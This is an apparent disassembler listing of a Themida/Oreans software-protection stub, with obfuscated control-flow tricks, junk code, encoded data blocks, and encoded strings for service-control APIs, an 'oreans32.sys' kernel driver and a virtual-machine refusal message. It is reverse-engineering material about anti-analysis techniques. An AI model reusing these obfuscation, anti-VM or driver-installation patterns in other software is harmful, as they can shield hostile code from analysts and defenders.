loc_5B54F9: ; CODE XREF: sub_5B5422+BCj
lea esi, [ebp+7FD1EADh]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B5521
mov dword ptr [ebp+7FA1139h], 1
loc_5B5521: ; CODE XREF: sub_5B5422+EFj
lea esi, [ebp+7FD1EB7h]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B5549
mov dword ptr [ebp+7FA1139h], 1
loc_5B5549: ; CODE XREF: sub_5B5422+117j
lea esi, [ebp+7FD1EC2h]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B5571
mov dword ptr [ebp+7FA0B5Dh], 1
loc_5B5571: ; CODE XREF: sub_5B5422+13Fj
lea esi, [ebp+7FD1EC8h]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B5599
mov dword ptr [ebp+7FA29B9h], 1
loc_5B5599: ; CODE XREF: sub_5B5422+167j
lea esi, [ebp+7FD1ECEh]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B55C1
mov dword ptr [ebp+7FA16C5h], 1
loc_5B55C1: ; CODE XREF: sub_5B5422+18Fj
lea esi, [ebp+7FD1EDCh]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B55E9
mov dword ptr [ebp+7FA0E61h], 1
loc_5B55E9: ; CODE XREF: sub_5B5422+1B7j
lea esi, [ebp+7FD1EE9h]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B5611
mov dword ptr [ebp+7FA217Dh], 1
loc_5B5611: ; CODE XREF: sub_5B5422+1DFj
lea esi, [ebp+7FD1EF4h]
call sub_5B5652
add edi, [ebp+7FD1F15h]
cmp dword ptr [ebp+7FD1F15h], 0
jz loc_5B5639
mov dword ptr [ebp+7FA0AD9h], 1
loc_5B5639: ; CODE XREF: sub_5B5422+207j
jmp loc_5B563F
; ---------------------------------------------------------------------------
loc_5B563E: ; CODE XREF: sub_5B5422+229j
inc edi
loc_5B563F: ; CODE XREF: sub_5B5422:loc_5B5639j
cmp byte ptr [edi], 20h
jz locret_5B5651
cmp byte ptr [edi], 0
jnz loc_5B563E
locret_5B5651: ; CODE XREF: sub_5B5422+220j
retn
sub_5B5422 endp
; =============== S U B R O U T I N E =======================================
sub_5B5652 proc near ; CODE XREF: sub_5B5422+6p
; sub_5B5422+2Fp ...
pusha
mov ecx, 1
mov ebx, esi
jmp loc_5B5678
; ---------------------------------------------------------------------------
loc_5B565F: ; CODE XREF: sub_5B5652+31j
cmp byte ptr [edi], 0
jnz loc_5B566A
sub ecx, ecx
loc_5B566A: ; CODE XREF: sub_5B5652+10j
mov dl, [edi]
cmp [esi], dl
jz loc_5B5676
sub ecx, ecx
loc_5B5676: ; CODE XREF: sub_5B5652+1Cj
inc esi
inc edi
loc_5B5678: ; CODE XREF: sub_5B5652+8j
cmp byte ptr [esi], 0
jz loc_5B5689
or ecx, ecx
jnz loc_5B565F
loc_5B5689: ; CODE XREF: sub_5B5652+29j
or ecx, ecx
jz loc_5B56B2
cmp byte ptr [edi], 0
jz loc_5B56A3
cmp byte ptr [edi], 20h
jnz loc_5B56AD
loc_5B56A3: ; CODE XREF: sub_5B5652+42j
mov ecx, 1
jmp loc_5B56B2
; ---------------------------------------------------------------------------
loc_5B56AD: ; CODE XREF: sub_5B5652+4Bj
mov ecx, 0
loc_5B56B2: ; CODE XREF: sub_5B5652+39j
; sub_5B5652+56j
or ecx, ecx
jz loc_5B56C7
sub esi, ebx
mov [ebp+7FD1F15h], esi
jmp loc_5B56D1
; ---------------------------------------------------------------------------
loc_5B56C7: ; CODE XREF: sub_5B5652+62j
mov dword ptr [ebp+7FD1F15h], 0
loc_5B56D1: ; CODE XREF: sub_5B5652+70j
popa
retn
sub_5B5652 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5381
loc_5B56D3: ; CODE XREF: sub_5B5381+34j
; sub_5B5381+3Ej ...
mov eax, 0
or eax, eax
jz loc_5B56EA
mov dword ptr [ebp+7FA1139h], 0
loc_5B56EA: ; CODE XREF: sub_5B5381+359j
mov ecx, eax
call near ptr loc_5B56F9+1
mov ds:0A6A2FAE0h, al
movsb
rol dword ptr [edi], 1
loc_5B56F9: ; CODE XREF: sub_5B5381+36Bp
jnp short loc_5B5761
or edi, 0F5A0CF1h
mov [edi], ebx
; END OF FUNCTION CHUNK FOR sub_5B5381
; ---------------------------------------------------------------------------
db 0
dd 8B0F0000h, 19h, 14E9h, 56BB5400h, 578211E2h, 1420895h
dd 68AE5364h, 9A99D798h, 7CC28156h, 81000059h, 2E3ADBC1h
dd 0B809h, 9D890000h, 7FA0569h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5381
loc_5B573C: ; CODE XREF: sub_5B5381+434j
push dword ptr [eax+edx]
push ebx
pusha
jb $+6
mov cx, bx
popa
pop ecx
pop esi
call near ptr byte_5B575F
sar byte ptr [ecx+4E6AD53h], cl
push ebx
into
jz short near ptr loc_5B5766+5
ror byte ptr [ebx], 1
dec esi
; END OF FUNCTION CHUNK FOR sub_5B5381
; ---------------------------------------------------------------------------
byte_5B575F db 31h ; CODE XREF: sub_5B5381+3CCp
db 0B5h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5381
loc_5B5761: ; CODE XREF: sub_5B5381:loc_5B56F9j
cdq
adc dl, bh
pop es
pop ecx
loc_5B5766: ; CODE XREF: sub_5B5381+3D9j
xor esi, 58EA788Dh
add esi, 5D75C404h
mov [ebp+7FA0E35h], ecx
xor esi, 255C35F0h
stc
push esi
mov ebx, [ebp+7FA1DE1h]
pop dword ptr [edx+eax]
jmp loc_5B5798
; END OF FUNCTION CHUNK FOR sub_5B5381
; ---------------------------------------------------------------------------
dw 8246h
dd 0B29190C6h, 0B2DB84E4h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5381
loc_5B5798: ; CODE XREF: sub_5B5381+408j
or [ebp+7FA2D79h], esi
sub eax, 2
mov [ebp+7FA1CC1h], edx
dec eax
dec eax
mov edi, [ebp+7FA2209h]
cmp eax, 0FFFFA750h
jnz loc_5B573C
mov ebx, [ebp+7FA11A1h]
jmp loc_5B687D
; END OF FUNCTION CHUNK FOR sub_5B5381
; ---------------------------------------------------------------------------
dw 4441h
dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot db 'SYSTEMROOT',0
aSSystem32Drive db '%s\system32\drivers\%s',0
aSSyswow64Drive db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0
align 4
dd 48h dup(0)
dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
dd 72676F72h, 2E6D61h, 59h dup(0)
dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0)
dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0)
dd 10000000h, 0
dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0)
dd 53000000h, 7774666Fh, 5C657261h, 656E6957h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5381
loc_5B687D: ; CODE XREF: sub_5B5381+440j
mov eax, esp
cmc
mov [ebp+7FA2421h], eax
and edi, 342C6F1Ch
mov eax, eax
mov di, si
cmp dword ptr [ebp+7FA2ACDh], 0
jnz short loc_5B68A3
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5B68BC
loc_5B68A3: ; CODE XREF: sub_5B5381+1517j
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+7FA20C9h], eax
lea ebx, [ebp+7FCE224h]
call ebx ; _iob
pop ebx
pop eax
loc_5B68BC: ; CODE XREF: sub_5B5381+1520j
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5B68DC
push eax
push ebx
mov eax, 43Dh
mov [ebp+7FA20C9h], eax
lea ebx, [ebp+7FCDF13h]
call ebx ; _iob
pop ebx
pop eax
loc_5B68DC: ; CODE XREF: sub_5B5381+1542j
mov [ebp+7FA3139h], edi
mov dl, 0D0h
mov [ebp+7FA3121h], ecx
mov eax, eax
jz loc_5B68F8
mov [ebp+7FA076Dh], esi
loc_5B68F8: ; CODE XREF: sub_5B5381+156Bj
movsx edx, ax
mov eax, eax
push 0
push esi
call sub_5B6908
and [esi-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5B5381
; =============== S U B R O U T I N E =======================================
sub_5B6908 proc near ; CODE XREF: sub_5B5381+157Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5B6908 endp
; ---------------------------------------------------------------------------
cmp dword ptr [edi+48426903h], 0FFFFFF83h
mov ebp, 7FA2ACDh
add [ebp+9], dh
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5B6943
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+7FCE0C6h]
call ebx ; _iob
pop ebx
pop eax
loc_5B6943: ; CODE XREF: Themida_:005B692Ej
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5B695D
push eax
push ebx
mov eax, 0
lea ebx, [ebp+7FCDF77h]
call ebx ; _iob
pop ebx
pop eax
loc_5B695D: ; CODE XREF: Themida_:005B694Aj
push 0
push esi
call sub_5B6968
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6968 proc near ; CODE XREF: Themida_:005B6960p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5B6968 endp
; ---------------------------------------------------------------------------
dd 1AC02E28h, 43B5ED28h, 14E96767h, 0A8000000h, 17B4CCAh
dd 0A9A09F63h, 35E70A6Bh, 7B9E0E03h, 8BC4D39Bh, 0F28166C0h
dd 0C08BA789h, 0BD835952h, 7FA2ACDh, 83097500h, 0FA1899BDh
dd 13740007h, 0C08B5350h, 0B8h, 0F89D8D00h, 0FF07FCDFh
dd 83585BD3h, 0FA1899BDh, 11740007h, 0B85350h, 8D000000h
dd 0FCDF459Dh, 5BD3FF07h, 0CFBF0F58h, 11C9958Bh, 8B6607FAh
dd 8BC08BFAh, 6AC08BF9h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 5FD6C353h, 0DE8h, 0CA2E7200h
dd 4F4BC92h, 9DA60DB9h, 6ABA5894h, 5A143774h, 80D2B70Fh
dd 0BD8312C1h, 7FA2ACDh, 83097500h, 0FA1899BDh, 13740007h
dd 0C08B5350h, 0B8h, 5F9D8D00h, 0FF07FCE0h, 83585BD3h
dd 0FA1899BDh, 11740007h, 0B85350h, 8D000000h, 0FCDF5E9Dh
dd 5BD3FF07h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 0C2CC59E8h, 0E90E3BEBh, 8, 7190E631h
dd 0F436197Dh, 0A699D01h, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 64B367C3h, 0BFA4B4B5h
dd 0E19503ACh, 8A07FA02h, 6AC08BF5h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 7EA3C350h
dd 91A30C0Bh, 0D21D2F63h, 0AB33BF66h, 60BFC08Bh, 89580EDAh
dd 0FA2A2D8Dh, 0CDBD8307h, 7FA2Ah, 0BD830975h, 7FA1899h
dd 50137400h, 0B8C08B53h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+7FCDF91h]
call ebx ; _iob
pop ebx
pop eax
push 0
push edi
call sub_5B6B39
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6B39 proc near ; CODE XREF: Themida_:005B6B31p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5B6B39 endp
; ---------------------------------------------------------------------------
retn 0FA0h
; ---------------------------------------------------------------------------
dd 68Eh, 1BD8900h, 0F07FA1Fh, 8Ch, 81C08B00h, 0E07DA9EAh
dd 8BC08B51h, 0CDBD83CEh, 7FA2Ah, 0BD830975h, 7FA1899h
dd 50197400h, 0B8C08B53h, 7D0h, 20C98589h, 9D8D07FAh, 7FCE224h
dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 7D0h, 20C98589h
dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 9EC78166h, 0FD9529B9h
dd 0E807FA14h, 0Eh, 0C1FEDB10h, 10CF0EC2h, 3AF11531h, 7E95D93h
dd 0A6000000h, 3F66E4C4h, 8B59C720h, 0D8D8BC0h, 0C607FA22h
dd 0FA066585h, 6A5307h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 0E4ADB9C3h, 0F02847A9h, 906836D9h
dd 0F99395Fh, 0B5FFD7BFh, 7FA08A5h, 2281952Bh, 858D07FAh
dd 7FA3AE2h, 27698D89h, 8D0107FAh, 7FA02D9h, 9589D0FFh
dd 7FA27B1h, 17998589h, 858907FAh, 7FA0219h, 66585C6h
dd 0E95707FAh, 12h, 6BDD0CCDh, 560EAB3Eh, 5A68503Fh, 0D25DD467h
dd 6688A8Ch, 6A900452h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0DA0EC351h, 6E3C8D3Ch
dd 0B589ECC4h, 7FA1781h, 0FDBAC181h, 8D8B097Fh, 7FA0C81h
dd 8A5B5FFh, 0BD8B07FAh, 7FA33E9h, 3AE2858Dh, 11E907FAh
dd 6C000000h, 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h
dd 0D0FF32B5h, 396C36BFh, 7585897Bh, 0C607FA28h, 0FA066585h
dd 8D0F4307h, 3, 68D8C280h, 0BC907028h, 5E8h, 15CC3A00h
dd 0BD8B31EEh, 7FA0AF1h, 0A5B5FF59h, 907FA08h, 0FA0ADD95h
dd 0CE8B6607h, 3AE2858Dh, 852907FAh, 7FA1D25h, 9E9h, 0CFA0D500h
dd 20640012h, 0D0FF5DB2h, 0FE85DB6h, 0A9000000h, 0C5E17C1Dh
dd 0EBF3F5A5h, 8204670Ah, 8E0F880Ch, 6, 2169950Bh, 895907FAh
dd 0FA225985h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 589A6326h, 0BF66B4DEh
dd 8E994E0h, 45000000h, 0DAD4BEBDh, 0C6B360DAh, 0FA066585h
dd 74B24C07h, 0DA1CE968h, 918D03D9h, 0FF07FA1Fh, 0FA08A5B5h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 4ACD1B9Bh, 20A99589h, 858D07FAh, 7FA3AE2h
dd 0E018D03h, 0D0FF07FAh, 88E0Fh, 0F510000h, 89h, 85895A00h
dd 7FA2819h, 23218D89h, 85C607FAh, 7FA0665h, 99D3146h
dd 6807FA0Bh, 0BADE0614h, 29E58D8Bh, 0B5FF07FAh, 7FA08A5h
dd 68C0Fh, 0BD8B0000h, 7FA30E9h, 3AE2858Dh, 0D0FF07FAh
dd 7E9h, 0FB828D00h, 0FEFBF5Dh, 28598589h, 85C607FAh, 7FA0665h
dd 12E947h, 0F9DA0000h, 62B2EFACh, 3AA94146h, 95F2F09Bh
dd 0CDB5EF45h, 0FB5E268h, 52006A8Ah, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8631A36Ch
dd 15B531FDh, 0FF07FA18h, 0FA08A5B5h, 19B58907h, 8D07FA16h
dd 0FA3AE285h, 14E96007h, 71000000h, 7CA11C22h, 67981805h
dd 1F71C222h, 70556791h, 66F28C3Ah, 7779D881h, 9E861h
dd 20260000h, 22AB32E4h, 8B0FC85Eh, 0D0FF59F8h, 700B97BAh
dd 3585892Bh, 6A07FA28h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 35BBC353h, 0EA9E6FFFh
dd 66585C6h, 0E84707FAh, 6, 57E95C5h, 8D8958F2h, 7FA07C5h
dd 0B5F3685Ah, 14E983D0h, 9D000000h, 8AC43CC3h, 696C2C29h
dd 0C5845E46h, 91715C6Ah, 0FF395FA1h, 0FA08A5B5h, 8D70B207h
dd 0FA3AE285h, 6EBF6607h, 8BD0FF4Eh, 0FA20E595h, 0C9858907h
dd 8B07FA18h, 6585C6CEh, 7707FA06h, 16BDB589h, 8B6607FAh
dd 0A8A368D0h, 8D89F397h, 7FA14C9h, 515B5FFh, 810F07FAh
dd 5, 0F2C18166h, 0E2858DAEh, 6A07FA3Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8C8FC355h
dd 0BD89D0FFh, 7FA057Dh, 0ED81C3BFh, 0C585891Fh, 0F07FA0Dh
dd 684h, 9D952900h, 0F07FA1Eh, 1280h, 0DE900h, 769C0000h
dd 0A4327FB9h, 51BA61ADh, 0C650EC13h, 0FA066585h, 0D38B4707h
dd 28FAF668h, 57006A87h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 9E88Eh, 0EA9D0000h, 6F669453h, 0F3DB5DFh
dd 895AC8B7h, 0FA268995h, 0A5B5FF07h, 0F807FA08h, 3AE2858Dh
dd 0B58907FAh, 7FA3395h, 0FFD68B66h, 0C5BD89D0h, 8907FA10h
dd 0FA08C985h, 5E907h, 55310000h, 0C68AAB1Ah, 0FA066585h
dd 0E8604307h, 13h, 75848EABh, 425FE4EBh, 741473BEh, 5389E48Dh
dd 0F031A3Dh, 0F58C8B7h, 6861D0BFh, 0BC8E6EFCh, 0CAD8D8Bh
dd 0B5FF07FAh, 7FA08A5h, 8DD3B70Fh, 0FA3AE285h, 0B1BD8B07h
dd 8907FA21h, 0FA021185h, 2BD0FF07h, 0FA317DBDh, 1D858907h
dd 8B07FA31h, 0FA258195h, 6585C607h, 4507FA06h, 1115958Bh
dd 0B96607FAh, 6968B813h, 6A8E7269h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A048C350h
dd 62F0ABB8h, 8B5EBA8Ch, 0A5B5FFCBh, 0F07FA08h, 118Bh
dd 6E800h, 21160000h, 0B70A9B24h, 59DF8166h, 858D5FD1h
dd 7FA3AE2h, 0AE9BD8Bh, 0D0FF07FAh, 68E0Fh, 958B0000h
dd 7FA10B1h, 0EBD8589h, 9D8907FAh, 7FA2955h, 66585C6h
dd 8B4407FAh, 0FA10E5BDh, 0E04FB907h, 64685AF4h, 66B8F2ECh
dd 0FFD297B9h, 0FA08A5B5h, 0A58D8B07h, 8D07FA1Eh, 0FA3AE285h
dd 0D58D3307h, 0FF07FA10h, 57006AD0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 7A775676h
dd 2E618589h, 0BD3107FAh, 7FA202Dh, 66585C6h, 894307FAh
dd 0FA2FA19Dh, 0F606007h, 81h, 0CE900h, 0DA180000h, 6A72ACA6h
dd 3AD7E3C3h, 8161FA39h, 548A58E1h, 0A7686149h, 8BC0764Ah
dd 0FA241D95h, 0A5B5FF07h, 6A07FA08h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 3E2DC357h
dd 79CF6D75h, 0D2EF4C9Eh, 29D9BD8Bh, 858D07FAh, 7FA3AE2h
dd 0FFA3C680h, 8589F5D0h, 7FA21ADh, 6880F60h, 3000000h
dd 0FA2C9D8Dh, 0BD806107h, 7FD2F73h, 7C840F00h, 51000000h
dd 235D958Bh, 8D5907FAh, 0FD2F5585h, 6D958B07h, 5007FA1Dh
dd 6AB3D980h, 0FEBF0F01h, 0E580006Ah, 89006A59h, 0FA05718Dh
dd 5995FF07h, 8907FA22h, 0FA1E85BDh, 6D858907h, 6607FA0Dh
dd 0B509CF8Bh, 7FA078Dh, 880FFF6Ah, 0
; ---------------------------------------------------------------------------
mov edi, 418DF832h
push dword ptr [ebp+7FA0D6Dh]
mov dl, 8Eh
call dword ptr [ebp+7FA2875h]
push 0
push eax
call sub_5B727E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B727E proc near ; CODE XREF: Themida_:005B7276p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5B727E endp
; ---------------------------------------------------------------------------
xchg ecx, [ebx+55006AC0h]
call sub_5B729C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B729C proc near ; CODE XREF: Themida_:005B7294p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5B729C endp
; ---------------------------------------------------------------------------
dd 64C873Eh, 8D8B807Ch, 7FA1451h, 2ACDBD83h, 750007FAh
dd 99BD8309h, 7FA18h, 53501974h, 0D1B8C08Bh, 89000007h
dd 0FA20C985h, 249D8D07h, 0FF07FCE2h, 83585BD3h, 0FA1899BDh
dd 17740007h, 0D1B85350h, 89000007h, 0FA20C985h, 139D8D07h
dd 0FF07FCDFh, 52585BD3h, 95895AF8h, 7FA1C05h, 6AC08Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 44E342C3h, 0F58A1E91h, 2BD8529h, 85C607FAh, 7FA0665h
dd 0B1BD8947h, 6807FA0Eh, 93C8F7C1h, 2195958Bh, 0B5FF07FAh
dd 7FA08A5h, 17A1BD8Bh, 858D07FAh, 7FA3AE2h, 8B60D0FFh
dd 0FA25D18Dh, 957BBA07h, 50610B74h, 11810Fh, 66600000h
dd 7E9D18Bh, 39000000h, 2B7DFB62h, 8D610671h, 0FD339685h
dd 4860F07h, 66000000h, 99CDCBAh, 0FA29BDBDh, 9400C707h
dd 66000000h, 58A576B9h, 0B589CA8Bh, 7FA351Dh, 3396B58Dh
dd 950907FDh, 7FA23B9h, 41BD8B56h, 0FF07FA2Fh, 55006AD0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 26E68006h, 3396858Dh, 0B55207FDh, 9D895AC4h, 7FA0CF1h
dd 6047883h, 30850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 642C61C3h, 0C7A8D5DCh
dd 0FD342A85h, 107h, 2912B900h, 0BD8337FEh, 7FA2579h, 79850F00h
dd 0E9000000h, 7, 0DD6C004Ah, 83626A8Bh, 0FD342ABDh, 850F0007h
dd 60h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
dd 87C35242h, 5EF87C1Eh, 1885BD83h, 0F0007FAh, 3384h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0BD8B3324h, 7FA2801h, 26F185C7h, 7FAh, 8D8B0000h, 7FA0121h
dd 0F6DB8C66h, 840F04C3h, 5C2h, 6870Fh, 958B0000h, 7FA1659h
dd 33ED85C7h, 7FAh, 0CE90000h, 44000000h, 2EF02795h, 94E31258h
dd 809A77F6h, 0FD2F80BDh, 850F0007h, 6, 1B18D8Bh, 85C607FAh
dd 7FA0665h, 0C99D2947h, 6807FA07h, 0E3E45B86h, 1BBD9589h
dd 0B5FF07FAh, 7FA08A5h, 7CC18166h, 0E2858DAFh, 0E907FA3Ah
dd 6, 4CE2F3B6h, 0D0FF8F93h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0FC35141h, 152F0BCFh, 0C19834Fh
dd 758D8949h, 6607FA06h, 4C5BF281h, 12E8h, 0D8ADA500h
dd 0D21B6AFAh, 0C2F2978Ah, 936FEAA1h, 0FB4CB20h, 68Ah
dd 0F0F78100h, 5A5EDC2Dh, 10468h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0B1E0F448h
dd 0AD9D8DD6h, 6A07FA2Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 70BCC351h, 6A53BBh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 950116C3h, 7FA184Dh, 9B1003B9h, 6AD0FF7Eh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 9E83C350h, 36ADED6h, 0FA0D5D95h, 0AD858D07h, 6007FA2Fh
dd 998D29F5h, 6107FA00h, 6DE98150h, 81074BF1h, 0F30C29C9h
dd 32858D61h, 0F07FD2Fh, 281h, 50BEB200h, 12CA8166h, 858D8B36h
dd 8D07FA08h, 0FD260585h, 55006A07h, 3E8h, 0C35D2000h
